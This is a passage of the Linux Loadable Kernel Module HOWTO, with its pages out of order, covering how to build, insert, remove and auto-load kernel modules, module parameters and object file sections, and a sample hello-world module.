13.10.4. psaux: PS/2 mouse (aka "auxiliary device") driver

Example:
modprobe psaux

There are no module parameters.

This module depends on module misc.

13.11. Tape Device Drivers

For SCSI tape device drivers, see Section 13.3. There are no LKMs for QIC-02 tape devices, but there is a device driver you can bind into the base kernel.

13.11.1. ftape: floppy tape (QIC-80/Travan) device driver

Example:
modprobe ftape tracing=3

Optional parameter tracing can take following values

0

bugs

1

+ errors

2

+ warnings

3

+ information

4

+ more information

5

+ program flow

6

+ fdc/dma info

7

+ data flow

8

+ everything else

The default is 3.

13.12. Watchdog Timers

13.12.1. WDT: WDT Watchdog timer device driver

Example:
modprobe wdt

There are no module parameters.

The device address is hardcoded as 0x240. The IRQ is hardcoded as 14.

This module depends on module misc.

13.12.2. softdog: Software Watchdog Timer

Example:
  modprobe softdog

There are no module parameters.

This module depends on module misc.

13.12.3. pcwd: Berkshire Products PC Watchdog Driver

Example:
modprobe pcwd

There are no module parameters.

This module depends on module misc.

13.13. Sound Device Drivers

Configuring sound is a complex task. Read the files in directory Documention/sound in the Linux source tree.

Example:
modprobe sound

Option: dma_buffsize=32768

Prev | Home | Next
Related Documentation |  | Maintenance Of This Document


About Module Parameters

Linux Loadable Kernel Module HOWTO
Prev Next

8. About Module Parameters

It is useful to compare parameters that get passed to LKMs and parameters that get passed to modules that are bound into the base kernel, especially since modules often can be run either way.

We've seen above that you pass parameters to an LKM by specifying something like io=0x300 on the insmod command. For a module that is bound into the base kernel, you pass parameters to it via the kernel boot parameters. One common way to specify kernel boot parameters is at a lilo boot prompt. Another is with an append statement in the lilo configuration file.

The kernel initializes an LKM at the time you load it. It initializes a bound-in module at boot time.

Since there is only one string of kernel boot parameters, you need some way within that string to identify which parameters go to which modules. The rule for this is that if there is a module named xyz, then a kernel boot parameter named xyz is for that module. The value of a kernel boot parameter is an arbitrary string that makes sense only to the module.

This is why you sometimes see an LKM whose only parameter is its own name. E.g. you load the Mitsumi CDROM driver with a command like
  insmod mcd mcd=0x340
It seems ridiculous to have the parameter named mcd instead of, say, io, but this is done for consistency with the case where you bind mcd into the base kernel, in which case you would select the I/O port address with the characters mcd=0x340 in the kernel boot parameters.

Prev | Home | Next
How To Boot Without A Disk Device Driver |  | Persistent Data


Preface

Linux Loadable Kernel Module HOWTO
Prev Next

1. Preface

Copyright and license information, as well as credits, are at the end of this document.

This HOWTO is maintained by Bryan Henderson, bryanh@giraffe-data.com. It was released May 31, 2001. You can get the current version of this HOWTO from the Linux Documentation Project.

Prev | Home | Next
Linux Loadable Kernel Module HOWTO |  | Introduction to Linux Loadable Kernel Modules


Introduction to Linux Loadable Kernel Modules

Linux Loadable Kernel Module HOWTO
Prev Next

2. Introduction to Linux Loadable Kernel Modules

If you want to add code to a Linux kernel, the most basic way to do that is to add some source files to the kernel source tree and recompile the kernel. In fact, the kernel configuration process consists mainly of choosing which files to include in the kernel to be compiled.

But you can also add code to the Linux kernel while it is running. A chunk of code that you add in this way is called a loadable kernel module. These modules can do lots of things, but they typically are one of three things: 1) device drivers; 2) filesystem drivers; 3) system calls. The kernel isolates certain functions, including these, especially well so they don't have to be intricately wired into the rest of the kernel.

2.1. Terminology

Loadable kernel modules are often called just kernel modules or just modules, but those are rather misleading terms because there are lots of kinds of modules in the world and various pieces built into the base kernel can easily be called modules. We use the term loadable kernel module or LKM for the particular kinds of modules this HOWTO is about.

Some people think of LKMs as outside of the kernel. They speak of LKMs communicating with the kernel. This is a mistake; LKMs (when loaded) are very much part of the kernel. The correct term for the part of the kernel that is bound into the image that you boot, i.e. all of the kernel except the LKMs, is "base kernel." LKMs communicate with the base kernel.

In some other operating systems, the equivalent of a Linux LKM is called a "kernel extension."

Now what is "Linux"? Well, first of all, the name is used for two entirely different things, and only one of them is really relevant here:

  1. The kernel and related items distributed as a package by Linus Torvalds.

  2. A class of operating systems that traditionally are based on the Linux kernel.

Only the first of these is really useful in discussing LKMs. But even choosing this definition, people are often confused when it comes to LKMs. Is an LKM part of Linux or not? Though an LKM is always part of the kernel, it is part of Linux if it is distributed in the Linux kernel package, and not otherwise. Thus, if you have loaded into your kenel a device driver LKM that came with your device, you can't, strictly speaking, say that your kernel is Linux. Rather, it's a slight extension of Linux. As you might expect, it is commonplace to use the name "Linux" approximately -- Lots of variations on Linux are in use and are widely distributed, and referred to as "Linux." In this document, though, we will stick to the strictest definition in the interest of clarity.

2.2. History of Loadable Kernel Modules

LKMs did not exist in Linux in the beginning. Anything we use an LKM for today was built into the base kernel at kernel build time instead. LKMs have been around at least since Linux 1.2 (1995).

Device drivers and such were always quite modular, though. When LKMs were invented, only a small amount of work was needed on these modules to make them buildable as LKMs. However, it had to be done on each and every one, so it took some time. Since about 2000, virtually everything that makes sense as an LKM has at least had the option of being an LKM.

2.3. The Case For Loadable Kernel Modules

You often have a choice between putting a module into the kernel by loading it as an LKM or binding it into the base kernel. LKMs have a lot of advantages over binding into the base kernel and I recommend them wherever possible.

One advantage is that you don't have to rebuild your kernel as often. This saves you time and spares you the possibility of introducing an error in rebuilding and reinstalling the base kernel. Once you have a working base kernel, it is good to leave it untouched as long as possible.

Another advantage is that LKMs help you diagnose system problems. A bug in a device driver which is bound into the kernel can stop your system from booting at all. And it can be really hard to tell which part of the base kernel caused the trouble. If the same device driver is an LKM, though, the base kernel is up and running before the device driver even gets loaded. If your system dies after the base kernel is up and running, it's an easy matter to track the problem down to the trouble-making device driver and just not load that device driver until you fix the problem.

LKMs can save you memory, because you have to have them loaded only when you're actually using them. All parts of the base kernel stay loaded all the time. And in real storage, not just virtual storage.

LKMs are much faster to maintain and debug. What would require a full reboot to do with a filesystem driver built into the kernel, you can do with a few quick commands with LKMs. You can try out different parameters or even change the code repeatedly in rapid succession, without waiting for a boot.

LKMs are not slower, by the way, than base kernel modules. Calling either one is simply a branch to the memory location where it resides. [1]

Sometimes you have to build something into the base kernel instead of making it an LKM. Anything that is necessary to get the system up far enough to load LKMs must obviously be built into the base kernel. For example, the driver for the disk drive that contains the root filesystem must be built into the base kernel.

2.4. What LKMs Can't Do

There is a tendency to think of LKMs like user space programs. They do share a lot of their properties, but LKMs are definitely not user space programs. They are part of the kernel. As such, they have free run of the system and can easily crash it.

2.5. What LKMs Are Used For

There are six main things LKMs are used for:

  • Device drivers. A device driver is designed for a specific piece of hardware. The kernel uses it to communicate with that piece of hardware without having to know any details of how the hardware works. For example, there is a device driver for ATA disk drives. There is one for NE2000 compatible Ethernet cards. To use any device, the kernel must contain a device driver for it.

  • Filesystem drivers. A filesystem driver interprets the contents of a filesystem (which is typically the contents of a disk drive) as files and directories and such. There are lots of different ways of storing files and directories and such on disk drives, on network servers, and in other ways. For each way, you need a filesystem driver. For example, there's a filesystem driver for the ext2 filesystem type used almost universally on Linux disk drives. There is one for the MS-DOS filesystem too, and one for NFS.

  • System calls. User space programs use system calls to get services from the kernel. For example, there are system calls to read a file, to create a new process, and to shut down the system. Most system calls are integral to the system and very standard, so are always built into the base kernel (no LKM option). But you can invent a system call of your own and install it as an LKM. Or you can decide you don't like the way Linux does something and override an existing system call with an LKM of your own.

  • Network drivers. A network driver interprets a network protocol. It feeds and consumes data streams at various layers of the kernel's networking function. For example, if you want an IPX link in your network, you would use the IPX driver.

  • TTY line disciplines. These are essentially augmentations of device drivers for terminal devices.

  • Executable interpreters. An executable interpreter loads and runs an executable. Linux is designed to be able to run executables in various formats, and each must have its own executable interpreter.

Notes

[1]

For the pedantic, see Section 10.6.

Prev | Home | Next
Preface |  | Making Loadable Kernel Modules


Making Loadable Kernel Modules

Linux Loadable Kernel Module HOWTO
Prev Next

3. Making Loadable Kernel Modules

An LKM lives in a single ELF object file (normally named like "serial.o"). You typically keep all your LKM object files in a particular directory (near your base kernel image makes sense). When you use the insmod program to insert an LKM into the kernel, you give the name of that object file.

For the LKMs that are part of Linux, you build them as part of the same kernel build process that generates the base kernel image. See the README file in the Linux source tree. In short, after you make the base kernel image with a command such as make zImage, you will make all the LKMs with the command
make modules

This results in a bunch of LKM object files (*.o) throughout the Linux source tree. (In older versions of Linux, there would be symbolic links in the modules directory of the Linux source tree pointing to all those LKM object files). These LKMs are ready to load, but you probably want to install them in some appropriate directory. The conventional place is described in Section 5.5. The command make modules_install will copy them all over to the conventional locations.

Part of configuring the Linux kernel (at build time) is choosing which parts of the kernel to bind into the base kernel and which parts to generate as separate LKMs. In the basic question-and-answer configuration (make config), you are asked, for each optional part of the kernel, whether you want it bound into the kernel (a "Y" response), created as an LKM (an "M" response), or just skipped completely (an "N" response). Other configuration methods are similar.

As explained in Section 2.3, you should have only the bare minimum bound into the base kernel. And only skip completely the parts that you're sure you'll never want. There is very little to lose by building an LKM that you won't use. Some compile time, some disk space, some chance of a problem in the code killing the kernel build. That's it.

As part of the configuration dialog you also must choose whether to use symbol versioning or not. This choice affects building both the base kernel and the LKMs and it is crucial you get it right. See Section 6.

LKMs that are not part of Linux (i.e. not distributed with the Linux kernel) have their own build procedures which I will not cover. The goal of any such procedure, though, is always to end up with an ELF object file.

You don't necessarily have to rebuild all your LKMs and your base kernel image at the same time (e.g. you could build just the base kernel and use LKMs you built earlier with it) but it is always a good idea. See Section 6.

Prev | Home | Next
Introduction to Linux Loadable Kernel Modules |  | LKM Utilities


LKM Utilities

Linux Loadable Kernel Module HOWTO
Prev Next

4. LKM Utilities

The programs you need to load and unload and otherwise work with LKMs are in the package modutils. You can find this package in this directory.

This package contains the following programs to help you use LKMs:

insmod

Insert an LKM into the kernel.

rmmod

Remove an LKM from the kernel.

depmod

Determine interdependencies between LKMs.

kerneld

Kerneld daemon program

ksyms

Display symbols that are exported by the kernel for use by new LKMs.

lsmod

List currently loaded LKMs.

modinfo

Display contents of .modinfo section in an LKM object file.

modprobe

Insert or remove an LKM or set of LKMs intelligently. For example, if you must load A before loading B, Modprobe will automatically load A when you tell it to load B.

Changes to the kernel often require changes to modutils, so be sure you're using a current version of modutils whenever you upgrade your kernel. modutils is always backward compatible (it works with older kernels), so there's no such thing as having too new a modutils.

Warning: modprobe invokes insmod and has its location hardcoded as /sbin/insmod. There may be other instances in modutils of the PATH not being used to find programs. So either modify the source code of modutils before you build it, or make sure you install the programs in their conventional directories.

Prev | Home | Next
Making Loadable Kernel Modules |  | How To Insert And Remove LKMs


How To Insert And Remove LKMs

Linux Loadable Kernel Module HOWTO
Prev Next

5. How To Insert And Remove LKMs

The basic programs for inserting and removing LKMs are insmod and rmmod. See their man pages for details.

Inserting an LKM is conceptually easy: Just type, as superuser, a command like
insmod serial.o
(serial.o contains the device driver for serial ports (UARTs)).

However, I would be misleading you if I said the command just works. It is very common, and rather maddening, for the command to fail either with a message about a module/kernel version mismatch or a pile of unresolved symbols.

If it does work, though, the way to prove to yourself that you know what you're doing is to look at /proc/modules as described in Section 5.4.

Now lets look at a more difficult insertion. If you try
insmod msdos.o
you will probably get a raft of error messages like:
  msdos.o: unresolved symbol fat_date_unix2dos
  msdos.o: unresolved symbol fat_add_cluster1
  msdos.o: unresolved symbol fat_put_super
  ...

This is because msdos.o contains external symbol references to the symbols mentioned and there are no such symbols exported by the kernel. To prove this, do a
cat /proc/ksyms
to list every symbol that is exported by the kernel (i.e. available for binding to LKMs). You will see that 'fat_date_unix2dos' is nowhere in the list.

How do you get it into the list? By loading another LKM, one which defines those symbols and exports them. In this case, it is the LKM in the file fat.o. So do
  insmod fat.o
and then see that "fat_date_unix2dos" is in /proc/ksyms. Now redo the
insmod msdos.o
and it works. Look at /proc/modules and see that both LKMs are loaded and one depends on the other:
msdos                   5632   0 (unused)
fat                    30400   0 [msdos]

How did I know fat.o was the module I was missing? Just a little ingenuity. A more robust way to address this problem is to use depmod and modprobe instead of insmod, as discussed below.

When your symbols look like "fat_date_unix2dos_R83fb36a1", the problem may be more complex than just getting prerequisite LKMs loaded. See Section 6.

When the error message is "kernel/module version mismatch," see Section 6.

Often, you need to pass parameters to the LKM when you insert it. For example, a device driver wants to know the address and IRQ of the device it is supposed to drive. Or the network driver wants to know how much diagnostic tracing you want it to do. Here is an example of that:

insmod ne.o io=0x300 irq=11

Here, I am loading the device driver for my NE2000-like Ethernet adapter and telling it to drive the Ethernet adapter at IO address 0x300, which generates interrupts on IRQ 11.

There are no standard parameters for LKMs and very few conventions. Each LKM author decides what parameters insmod will take for his LKM. Hence, you will find them documented in the documentation of the LKM. This HOWTO also compiles a lot of LKM parameter information in Section 13. For general information about LKM parameters, see Section 8.

To remove an LKM from the kernel, the command is like
rmmod ne

There is a command lsmod to list the currently loaded LKMs, but all it does is dump the contents of /proc/modules, with column headings, so you may just want to go to the horse's mouth and forget about lsmod.

5.1. Could Not Find Kernel Version...

A common error is to try to insert an object file which is not an LKM. For example, you configure your kernel to have the USB core module bound into the base kernel instead of generated as an LKM. In that case, you end up with a file usbcore.o, which looks pretty much the same as the usbcore.o you would get if you built it as an LKM. But you can't insmod that file.

So do you get an error message telling you that you should have configured the kernel to make USB core function an LKM? Of course not. This is Unix, and explanatory error messages are seen as a sign of weakness. The error message is
$ insmod usbcore.o
usbcore.o: couldn't find the kernel version this module was compiled for

What insmod is telling you is that it looked in usbcore.o for a piece of information any legitimate LKM would have -- the kernel version with which the LKM was intended to be used -- and it didn't find it. We know now that the reason it didn't find it is that the file isn't an LKM. See Section 10.2.

5.2. Intelligent Loading Of LKMs - Modprobe

Once you have module loading and unloading figured out using insmod and rmmod, you can let the system do more of the work for you by using the higher level program modprobe. See the modprobe man page for details.

The main thing that modprobe does is automatically load the prerequisites of an LKM you request. It does this with the help of a file that you create with depmod and keep on your system.

Example:
modprobe msdos

This performs an insmod of msdos.o, but before that does an insmod of fat.o, since you have to have fat.o loaded before you can load msdos.o.

The other major thing modprobe does for you is to find the object module containing the LKM given just the name of the LKM. For example, modprobe msdos might load /lib/2.4.2-2/fs/msdos.o. Check out the man pages for modprobe and the configuration file modules.conf (usually /etc/modules.conf) for details on the search rules modprobe uses.

depmod scans your LKM object files (typically all the .o files in the appropriate /lib/modules subdirectory) and figures out which LKMs prerequire (refer to symbols in) other LKMs. It generates a dependency file (typically named modules.dep), which you normally keep in /lib/modules for use by modprobe.

You can use modprobe to remove stacks of LKMs as well.

Via the LKM configuration file (typically /etc/modules.conf), you can fine tune the dependencies and do other fancy things to control LKM selections. And you can specify programs to run when you insert and remove LKMs, for example to initialize a device driver.

If you are maintaining one system and memory is not in short supply, it is probably easier to avoid modprobe and the various files and directories it needs, and just do raw insmods in a startup script.

5.3. Automatic LKM Loading and Unloading

5.3.1. Automatic Loading

You can cause an LKM to be loaded automatically when the kernel first needs it. You do this with either a kerneld daemon or with the more recent invention, the kernel module loader, which is part of Linux.

As an example, let's say you run a program that executes an open system call for a file in an MS-DOS filesystem. But you don't have a filesystem driver for the MS-DOS filesystem either bound into your base kernel or loaded as an LKM. So the kernel does not know how to access the file you're opening on the disk.

The kernel recognizes that it has no filesystem driver for MS-DOS, but that one of the two automatic module loading facilities are available and uses it to cause the LKM to be loaded. The kernel then proceeds with the open.

Both kerneld and the kernel module loader use modprobe, ergo insmod, to insert LKMs.

5.3.1.1. Kerneld

kerneld is explained at length in the Kerneld mini-HOWTO, available from the Linux Documentation Project.

kerneld is a user process, which runs the kerneld program from the modutils package. kerneld sets up an IPC message channel with the kernel. When the kernel needs an LKM, it sends a message on that channel to kerneld and kerneld runs modprobe to load the LKM, then sends a message back to the kernel to say that it is done.

5.3.1.2. Kernel Module Loader

There is some documentation of the kernel module loader in the file Documentation/kmod.txt in the Linux source tree. As of this writing, this section is more complete and accurate than that file. You can also look at its source code in kernel/kmod.c.

The kernel module loader is an optional part of the Linux kernel. You get it if you select the CONFIG_KMOD feature when you configure the kernel at build time.

When a kernel that has the kernel module loader needs an LKM, it creates a user process (owned by the superuser, though) that executes modprobe to load the LKM, then exits. By default, it finds modprobe as /sbin/modprobe, but you can set up any program you like as modprobe by writing its file name to /proc/sys/kernel/modprobe. For example:
$ echo "sbin/mymodprobe" >/proc/sys/kernel/modprobe

The kernel module loader passes the following arguments to modprobe: Argument Zero is the full file name of modprobe. The regular arguments are -s, -k, and the name of the LKM that the kernel wants. -s is the user-hostile form of --syslog; -k is the cryptic way to say --autoclean. I.e. messages from modprobe will go to syslog and the loaded LKM will have the "autoclean" flag set.

The kernel module loader runs modprobe with the
following environment variables (only): HOME=/;
TERM=linux;
PATH=/sbin:/usr/sbin:/bin:/usr/bin.

The kernel module loader was new in Linux 2.2 and was designed to take the place of kerneld. It does not, however, have all the features of kerneld.

In Linux 2.2, the kernel module loader creates the above mentioned process directly. In Linux 2.4, the kernel module loader submits the module loading work to Keventd and it runs as a child process of Keventd.

The kernel module loader is a pretty strange beast. It violates layering as Unix programmers generally understand it and consequently is inflexible, hard to understand, and not robust. Many system designers would bristle just at the fact that it has the PATH hardcoded. You may prefer to use kerneld instead, or not bother with automatic loading of LKMs at all.

5.3.2. Automatic Unloading - Autoclean

5.3.2.1. The Autoclean Flag

Each loaded LKM has an autoclean flag which can be set or unset. You control this flag with parameters to the init_module system call. Assuming you do that via insmod, you use the --autoclean option.

You can see the state of the autoclean flag in /proc/modules. Any LKM that has the flag set has the legend autoclean next to it.

5.3.2.2. Removing The Autoclean LKMs

The purpose of the autoclean flag is to be let you automatically remove LKMs that haven't been used in a while (typically 1 minute). So by using automatic module loading and unloading, you can keep only parts of the kernel that are presently needed loaded, and save memory.

This is less important than it once was, with memory being much cheaper. If you don't need to save memory, you shouldn't bother with the complexity of module loader processes. Just load everything you might need via an initialization script and keep it loaded.

There is a form of the delete_module system call that says, "remove all LKMs that have the autoclean flag set and haven't been used in a while." Kerneld typically calls this once per minute. You can call it explicitly with an rmmod --all command.

As the kernel module loader does not do any removing of LKMs, if you use that you might want to have a cron job that does a rmmod --all periodically.

5.4. /proc/modules

To see the presently loaded LKMs, do
cat /proc/modules

You see a line like

serial                   24484   0

The left column is the name of the LKM, which is normally the name of the object file from which you loaded it, minus the ".o" suffix. You can, however, choose any name you like with an option on insmod.

The "24484" is the size in bytes of the LKM in memory.

The "0" is the use count. It tells how many things presently depend on the LKM being loaded. Typical "things" are open devices or mounted fileystems. It is important because you cannot remove an LKM unless the use count is zero. The LKM itself maintains this count, but the module manager uses it to decide whether to permit an unload.

There is an exception to the above description of the use count. You may see -1 in the use count column. What that means is that this LKM does not use use counts to determine when it is OK to unload. Instead, the LKM has registered a subroutine that the module manager can call that will return an indication of whether or not it is OK to unload the LKM. In this case, the LKM ought to provide you with some custom interface, and some documentation, to determine when the LKM is free to be unloaded.

5.5. Where Are My LKM Files On My System?

The LKM world is flexible enough that the files you need to load could live just about anywhere on your system, but there is a convention that most systems follow: The LKM .o files are in the directory /lib/modules, divided into subdirectories. There is one subdirectory for each version of the kernel, since LKMs are specific to a kernel (see Section 6). Each subdirectory contains a complete set of LKMs.

The subdirectory name is the value you get from the uname --release command, for example 2.2.19. Section 6.3 tells how you control that value.

When you build Linux, a standard make modules and make modules_install should install all the LKMs that are part of Linux in the proper release subdirectory.

If you build a lot of kernels, another organization may be more helpful: keep the LKMs together with the base kernel and other kernel-related files in a subdirectory of /boot. The only drawback of this is that you cannot have /boot reside on a tiny disk partition. In some systems, /boot is on a special tiny "boot partition" and contains only enough files to get the system up to the point that it can mount other filesystems.

Prev | Home | Next
LKM Utilities |  | Unresolved Symbols


How To Boot Without A Disk Device Driver

Linux Loadable Kernel Module HOWTO
Prev Next

7. How To Boot Without A Disk Device Driver

For most systems, the ATA disk device driver must be bound into the base kernel because the root filesystem is on an ATA disk [1] and the kernel cannot mount the root filesystem, much less read any LKMs from it, without the ATA disk driver. But if you really want the device driver for your root filesystem to be an LKM, here's how to do it with Initrd:

"Initrd" is the name of the "initial ramdisk" feature of Linux. With this, you have your loader (probably LILO) load a filesystem into memory (as a ramdisk) before starting the kernel. When it starts the kernel, it tells it to mount the ramdisk as the root filesystem. You put the disk device driver for your real root filesystem and all the software you need to load it in that ramdisk filesystem. Your startup programs (which live in the ramdisk) eventually mount the real (disk) filesystem as the root filesystem. Note that a ramdisk doesn't require any device driver.

This does not free you, however, from having to bind into the base kernel 1) the filesystem driver for the filesystem in your ramdisk, and 2) the executable interpreter for the programs in the ramdisk.

Notes

[1]

You probably know this type of disk as "IDE". Strictly speaking, IDE is an incorrect appelation. IDE refers to the "Integrated Drive Electronics" which all modern disk drives, notably all SCSI disk drives, use. The first IDE drives in common usage were ATA, and the names kind of got confused. ATA, like SCSI, is a precise specification of electrical signals, commands, etc.

Prev | Home | Next
Unresolved Symbols |  | About Module Parameters


Persistent Data

Linux Loadable Kernel Module HOWTO
Prev Next

9. Persistent Data

Some LKMs are set up to retain information from one load to the next. This is called persistent data. When you remove one of these LKMs with rmmod, rmmod extracts certain values from the LKM's working storage and stores them in a file. When you next insert the LKM with insmod, insmod reads the persistent data from the file and inserts it into the LKM.

See the --persist option on insmod and rmmod.

Persistent data was introduced in November 2000.

Prev | Home | Next
About Module Parameters |  | Technical Details


Technical Details

Linux Loadable Kernel Module HOWTO
Prev Next

10. Technical Details

10.1. How They Work

insmod makes an init_module system call to load the LKM into kernel memory. Loading it is the easy part, though. How does the kernel know to use it? The answer is that the init_module system call invokes the LKM's initialization routine right after it loads the LKM. insmod passes to init_module the address of the subroutine in the LKM named init_module as its initialization routine.

(This is confusing -- every LKM has a subroutine named init_module, and the base kernel has a system call by that same name, which is accessible via a subroutine in the standard C library also named init_module).

The LKM author set up init_module to call a kernel function that registers the subroutines that the LKM contains. For example, a character device driver's init_module subroutine might call the kernel's register_chrdev subroutine, passing the major and minor number of the device it intends to drive and the address of its own "open" routine among the arguments. register_chrdev records in base kernel tables that when the kernel wants to open that particular device, it should call the open routine in our LKM.

But the astute reader will now ask how the LKM's init_module subroutine knew the address of the base kernel's register_chrdev subroutine. This is not a system call, but an ordinary subroutine bound into the base kernel. Calling it means branching to its address. So how does our LKM, which was not compiled anywhere near the base kernel, know that address? The answer to this is insmod relocation. insmod functions as a relocating linker/loader. The LKM object file contains an external reference to the symbol register_chrdev. insmod does a query_module system call to find out the addresses of various symbols that the existing kernel exports. register_chrdev is among these. query_module returns the address for which register_chrdev stands and insmod patches that into the LKM where the LKM refers to register_chrdev.

If you want to see the kind of information insmod can get from a query_module system call, look at the contents of /proc/ksyms.

Note that some LKMs call subroutines in other LKMs. They can do this because of the __ksymtab and .kstrtab sections in the LKM object files. These sections together list the external symbols within the LKM object file that are supposed to be accessible by other LKMs inserted in the future. insmod looks at __ksymtab and .kstrtab and tells the kernel to add those symbols to its exported kernel symbols table.

To see this for yourself, insert the LKM msdos.o and then notice in /proc/ksyms the symbol fat_add_cluster (which is the name of a subroutine in the fat.o LKM). Any subsequently inserted LKM can branch to fat_add_cluster, and in fact msdos.o does just that.

10.2. The .modinfo Section

An ELF object file consists of various named sections. Some of them are basic parts of an object file, for example the .text section contains executable code that a loader loads. But you can make up any section you want and have it used by special programs. For the purposes of Linux LKMs, there is the .modinfo section. An LKM doesn't have to have a section named .modinfo to work, but the macros you're supposed to use to code an LKM cause one to be generated, so they generally do.

To see the sections of an object file, including the .modinfo section if it exists, use the objdump program. For example:

To see all the sections in the object file for the msdos LKM:
objdump msdos.o --section-headers
To see the contents of the .modinfo section:
objdump msdos.o --full-contents --section=.modinfo

You can use the modinfo program to interpret the contents of the .modinfo section.

So what is in the .modinfo section and who uses it? insmod uses the .modinfo section for the following:

  • It contains the kernel release number for which the module was built. I.e. of the kernel source tree whose header files were used in compiling the module.

    insmod uses that information as explained in Section 6.

  • It describes the form of the LKM's parameters. insmod uses this information to format the parameters you supply on the insmod command line into data structure initial values, which insmod inserts into the LKM as it loads it.

10.3. The __ksymtab And .kstrtab Sections

Two other sections you often find in an LKM object file are named __ksymtab and .kstrtab. Together, they list symbols in the LKM that should be accessible (exported) to other parts of the kernel. A symbol is just a text name for an address in the LKM. LKM A's object file can refer to an address in LKM B by name (say, getBinfo"). When you insert LKM A, after having inserted LKM B, insmod can insert into LKM A the actual address within LKM B where the data/subroutine named getBinfo is loaded.

See Section 10.1 for more mind-numbing details of symbol binding.

10.4. Ksymoops Symbols

insmod adds a bunch of exported symbols to the LKM as it loads it. These symbols are all intended to help ksymoops do its job. ksymoops is a program that interprets and "oops" display. And "oops" display is stuff that the Linux kernel displays when it detects an internal kernel error (and consequently terminates a process). This information contains a bunch of addresses in the kernel, in hexadecimal.

ksymoops looks at the hexadecimal addresses, looks them up in the kernel symbol table (which you see in /proc/ksyms, and translates the addresses in the oops message to symbolic addresses, which you might be able to look up in an assembler listing.

So lets say you have an LKM crash on you. The oops message contains the address of the instruction that choked, and what you want ksymoops to tell you is 1) in what LKM is that instruction, and 2) where is the instruction relative to an assembler listing of that LKM? Similar questions arise for the data addresses in the oops message.

To answer those questions, ksymoops must be able to get the loadpoints and lengths of the various sections of the LKM from the kernel symbol table.

Well, insmod knows those addresses, so it just creates symbols for them and includes them in the symbols it loads with the LKM.

In particular, those symbols are named (and you can see this for yourself by looking at /proc/ksyms):

__insmod_name_Ssectionname_Llength

name is the LKM name (as you would see in /proc/modules.

sectionname is the section name, e.g. .text (don't forget the leading period).

length is the length of the section, in decimal.

The value of the symbol is, of course, the address of the section.

Insmod also adds a pretty useful symbol that tells from what file the LKM was loaded. That symbol's name is

__insmod_name_Ofilespec_Mmtime_Vversion

name is the LKM name, as above.

filespec is the file specification that was used to identify the file containing the LKM when it was loaded. Note that it isn't necessarily still under that name, and there are multiple file specifications that might have been used to refer to the same file. For example, ../dir1/mylkm.o and /lib/dir1/mylkm.o.

mtime is the modification time of that file, in the standard Unix representation (seconds since 1969), in hexadecimal.

version tells the kernel version level for which the LKM was built (same as in the .modinfo section). It is the value of the macro LINUX_VERSION_CODE in Linux's linux/version.h file. For example, 132101.

The value of this symbol is meaningless.

10.5. Other Symbols

insmod adds another symbol, similar to the ksymoops symbols. This one tells where the persistent data lives in the LKM, which rmmod needs to know in order to save the persistent data.

__insmod_name_Plength

10.6. Memory Allocation For Loading

This section is about how Linux allocates memory in which to load an LKM. It is not about how an LKM dynamically allocates memory, which is the same as for any other part of the kernel.

The memory where an LKM resides is a little different from that where the base kernel resides. The base kernel is always loaded into one big contiguous area of real memory, whose real addresses are equal to is virtual addresses. That's possible because the base kernel is the first thing ever to get loaded (besides the loader) -- it has a wide open empty space in which to load. And since the Linux kernel is not pageable, it stays in it's homestead forever.

By the time you load an LKM, real memory is all fragmented -- you can't simply add the LKM to the end of the base kernel. But the LKM needs to be in contiguous virtual memory, so Linux uses vmalloc to allocate a contiguous area of virtual memory (in the kernel address space), which is probably not contiguous in real memory. But the memory is still not pageable. The LKM gets loaded into real page frames from the start, and stays in those real page frames until it gets unloaded.

Some CPUs can take advantage of the properties of the base kernel to effect faster access to base kernel memory. For example, on one machine, the entire base kernel is covered by one page table entry and consequently one entry in the translation lookaside buffer (TLB). Naturally, that TLB entry is virtually always present. For LKMs on this machine, there is a page table entry for each memory page into which the LKM is loaded. Much more often, the entry for a page is not in the TLB when the CPU goes to access it, which means a slower access.

This effect is probably trivial.

It is also said that PowerPC Linux does something with its address translation so that transferring between accessing base kernel memory to accessing LKM memory is costly. I don't know anything solid about that.

The base kernel contains within its prized contiguous domain a large expanse of reusable memory -- the kmalloc pool. In Linux 2.4, at the end of 2001, there was a proposal to make the module loader try first to get contiguous memory from that pool into which to load an LKM and only if a large enough space was not available, go to the vmalloc space. That function may be in some versions of Linux.

10.7. Linux internals

If you're interested in the internal workings of the Linux kernel with respect to LKMs, this section can get you started. You should not need to know any of this in order to develop, build, and use LKMs.

The code to handle LKMs is in the source files kernel/module.c in the Linux source tree.

The kernel module loader (see Section 5.3) lives in kernel/kmod.c.

(Ok, that wasn't much of a start, but at least I have a framework here for adding this information in the future).

Prev | Home | Next
Persistent Data |  | Writing Your Own Loadable Kernel Module


Writing Your Own Loadable Kernel Module

Linux Loadable Kernel Module HOWTO
Prev Next

11. Writing Your Own Loadable Kernel Module

The Linux Kernel Module Programming Guide by Ori Pomerantz is a complete explanation of writing your own LKM. This book is also available in print.

It is, however, a little out of date and contains an error or two. Here are a few things about writing an LKM that aren't in there.

11.1. bug in hello.c

The simple hello.c program has a small bug that causes it to generate a warning about an implicit declaration of printk(). The warning is innocuous.

The program is also more complicated than it needs to be with current Linux and depends on your having kernel messaging set up a certain way on your system to see it work. Finally, the program requires you to include -D options on your compile command to work, because it does not define some macros in the source code, where the definitions belong.

Here is an improved version of hello.c. Compile this with the simple command
$ gcc -c -Wall hello.c

/* hello.c
 *
 * "Hello, world" - the loadable kernel module version.
 *
 * Compile this with
 *
 *          gcc -c hello.c -Wall
 */

/* Declare what kind of code we want from the header files */
#define __KERNEL__         /* We're part of the kernel */
#define MODULE             /* Not a permanent part, though. */

/* Standard headers for LKMs */
#include <linux/modversions.h>
#include <linux/module.h>

#define _LOOSE_KERNEL_NAMES
    /* With some combinations of Linux and gcc, tty.h will not compile if
       you don't define _LOOSE_KERNEL_NAMES.  It's a bug somewhere.
    */
#include <linux/tty.h>      /* console_print() interface */

/* Initialize the LKM */
int init_module()
{
  console_print("Hello, world - this is the kernel speaking\n");
  /* More normal is printk(), but there's less that can go wrong with
     console_print(), so let's start simple.
  */

  /* If we return a non zero value, it means that
   * init_module failed and the LKM can't be loaded
   */
  return 0;
}

/* Cleanup - undo whatever init_module did */
void cleanup_module()
{
  console_print("Short is the life of an LKM\n");
}

11.2. Rubini Corbet: Linux Device Drivers

The most popular book on writing device drivers is O'Reilly's Linux Device Drivers by Alessandro Rubini and Jonathan Corbet.

Even if you're writing an LKM that isn't a device driver, you can learn a lot from this book that will help you.

The first edition of this book covers Linux 2.0, with notes about differences in 2.2. The second edition (June 2001) covers Linux 2.4.

This book is available under the FDL. You can read it at http://www.xml.com/ldd/chapter/book/.

11.3. Improving On Use Counts

